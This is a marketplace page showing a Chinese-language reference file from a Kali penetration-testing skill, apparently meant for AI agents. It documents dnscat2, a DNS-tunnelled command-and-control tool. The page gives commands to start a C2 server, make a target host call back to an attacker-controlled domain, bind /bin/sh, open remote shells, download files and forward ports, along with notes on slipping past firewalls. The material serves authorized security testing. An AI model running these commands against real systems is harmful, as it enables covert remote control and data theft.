x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/dnscat2.md
View on GitHub# dnscat2
- **Category**: Post-Exploitation / Covert C2 Tunneling
- **Risk Level**: 🔴 High
---
## 描述
通过 DNS 协议创建加密的命令与控制(C2)通道。DNS 流量极少被防火墙拦截,因此在所有出站端口被过滤时,它是极为有效的隐蔽通信手段。由服务端(运行在攻击者的外部 DNS 服务器上)和客户端(运行在被控主机上)两部分组成。支持交互式 Shell、文件传输和通过 DNS 隧道进行端口转发。
## 安装
```bash
sudo apt install dnscat2
# 客户端:在目标上编译或使用预编译二进制文件
# 预编译客户端可从 dnscat2 GitHub 发布页获取
# DNS 前置条件:需要一个域名,NS 记录指向你的服务器
# 添加 NS 记录:pentest.yourdomain.com NS <your-server-ip>
```
## 参数说明
### 服务端(在攻击者主机运行)
| 参数 | 说明 |
|------|------|
| `<domain>` | 监听的 DNS 域名(位置参数) |
| `--dns 'host=<ip>,port=<n>,domain=<domain>'` | 自定义主机/端口/域名的 DNS 监听器 |
| `--secret <secret>` | 用于认证的共享密钥 |
### 客户端(在被控主机运行)
| 参数 | 说明 |
|------|------|
| `<domain>` | 用于隧道的 DNS 域名 |
| `--secret <secret>` | 共享密钥(必须与服务端一致) |
| `--dns domain=<d>,host=<ip>,port=<n>,type=<t>,server=<ip>` | DNS 配置选项 |
| `--no-encryption` | 禁用加密(仅用于调试) |
| `--delay <ms>` | 设置数据包之间的最大延迟(默认:1000) |
| `--steady` | 设置后始终等待完整延迟时间 |
| `--max-retransmits <n>` | 认为会话断开前的最大重传次数 |
| `--retransmit-forever` | 永远重传(永不放弃) |
| `--console` | 以控制台模式启动(无隧道) |
| `--exec <cmd>` / `-e <cmd>` | 执行进程并附加 stdin/stdout |
| `--command` | 以命令模式启动(交互式会话) |
| `--ping` | Ping 服务端并退出 |
| `-d` | 启用调试输出 |
| `-q` | 静默模式 |
| `--packet-trace` | 显示传入/传出的 dnscat2 数据包 |
## 常用命令
```bash
# 服务端:启动监听 DNS C2 连接
dnscat2-server pentest.yourdomain.com --secret mysecret
# 客户端(Linux 目标):通过 DNS 隧道回连
./dnscat pentest.yourdomain.com --secret mysecret
# 客户端使用自定义 DNS 服务器:
./dnscat --dns server=192.168.1.1,port=53 --secret mysecret pentest.yourdomain.com
# 客户端使用 exec(绑定 shell):
./dnscat --exec /bin/sh --secret mysecret pentest.yourdomain.com
# 客户端(Windows 目标,PowerShell):
# Import-Module .\dnscat2.ps1; Start-Dnscat2 -Domain pentest.yourdomain.com -PreSharedSecret mysecret
# 在 dnscat2 服务端 shell 中:
# sessions - 列出活跃会话
# session -i 1 - 与会话 1 交互
# shell - 在目标上打开远程 shell
# download <file> - 从目标下载文件
# listen 0.0.0.0:8080 192.168.1.10:80 - 端口转发
```
## 注意事项
1. dnscat2 需要一个域名,NS 记录指向你的服务器——在渗透测试前提前配置 DNS。
2. 所有流量默认使用预共享密钥加密——务必设置 `--secret` 防止被劫持。
3. DNS 隧道速度慢(受 DNS 查询速率限制)——不适合大文件传输。
4. 现代 DNS 安全方案和 EDR 可检测 dnscat2 流量特征——红队行动中可考虑商业 C2 框架。
5. 使用 `listen` 通过 DNS 隧道进行端口转发,访问内网资源。
---
## 官方参考
- [dnscat2(GitHub)](https://github.com/iagox86/dnscat2)
- [Kali dnscat2](https://www.kali.org/tools/dnscat2/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |